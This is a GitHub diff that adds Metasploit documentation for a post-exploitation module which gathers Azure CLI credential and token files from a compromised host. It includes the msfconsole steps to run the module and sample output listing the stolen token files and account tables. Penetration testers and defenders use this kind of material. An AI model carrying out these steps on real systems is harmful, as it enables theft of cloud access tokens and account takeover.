File tree Expand file tree Collapse file tree 1 file changed +52
-0
lines changed
documentation/modules/post/multi/gather Expand file tree Collapse file tree 1 file changed +52
-0
lines changed Original file line number Diff line number Diff line change
1
+ ## Vulnerable Application
2
+
3
+ Any windows or linux system with a ` meterpreter ` session and [ Azure CLI 2.0] ( https://docs.microsoft.com/en-us/cli/azure/?view=azure-cli-latest ) .
4
+
5
+ Successfully tested on:
6
+
7
+ * Azure CLI 2.0.33 on Windows Server 2012 R2
8
+ * azure-cli 2.0.33-1.el7 on openSUSE Tumbleweed 20180517
9
+
10
+ ## Verification Steps
11
+
12
+ Example steps in this format (is also in the PR):
13
+
14
+ 1 . Install Azure CLI
15
+ 2 . Start msfconsole
16
+ 3 . Get a ` meterpreter ` session on some host.
17
+ 4 . Do: ``` use post/multi/gather/azure_cli_creds ```
18
+ 5 . Do: ``` set SESSION [SESSION_ID] ```
19
+ 6 . Do: ``` run ```
20
+ 7 . If the system has readable configuration files for Azure CLI, they will stored in loot and a summary will be printed to the screen.
21
+
22
+ ## Options
23
+
24
+ None.
25
+
26
+ ## Scenarios
27
+
28
+ ```
29
+ msf5 post(multi/gather/azure_cli_creds) > run
30
+
31
+ [+] /home/james/.azure/accessTokens.json stored to /home/james/.msf4/loot/20180528233056_default_192.168.1.49_azurecli.jwt_tok_029844.txt
32
+ [+] /home/james/.azure/azureProfile.json stored to /home/james/.msf4/loot/20180528233056_default_192.168.1.49_azurecli.azure_p_897386.txt
33
+ [+] /home/james/.azure/config stored to /home/james/.msf4/loot/20180528233056_default_192.168.1.49_azurecli.config_976372.txt
34
+ Subscriptions
35
+ =============
36
+
37
+ Source Account Name Username Cloud Name
38
+ ------ ------------ -------- ----------
39
+ /home/james/.azure/azureProfile.json Some Azure Account Name [email protected] AzureCloud
40
+ /home/james/.azure/azureProfile.json Some Azure Account Name2 [email protected] AzureCloud
41
+
42
+
43
+ Tokens
44
+ ======
45
+
46
+ Source Username Count
47
+ ------ -------- -----
48
+ /home/james/.azure/accessTokens.json [email protected] 2
49
+
50
+ [*] Post module execution completed
51
+
52
+ ```
You can’t perform that action at this time.
0 commit comments